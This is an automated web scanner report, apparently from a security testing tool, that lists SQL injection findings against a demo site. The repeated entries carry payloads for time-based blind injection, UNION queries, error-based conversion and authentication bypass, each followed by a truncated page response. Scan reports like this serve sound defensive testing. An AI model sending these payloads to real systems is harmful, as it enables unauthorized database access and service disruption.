BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1713
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# "));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1714
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1715
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or "1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1716
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1/0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1717
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' and 1=2 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1718
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ')) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1719
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1720
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1721
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# 1 or benchmark(10000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1722
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(
1000000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1723
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# /*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1724
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# //
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1725
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1726
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or ('1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1727
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
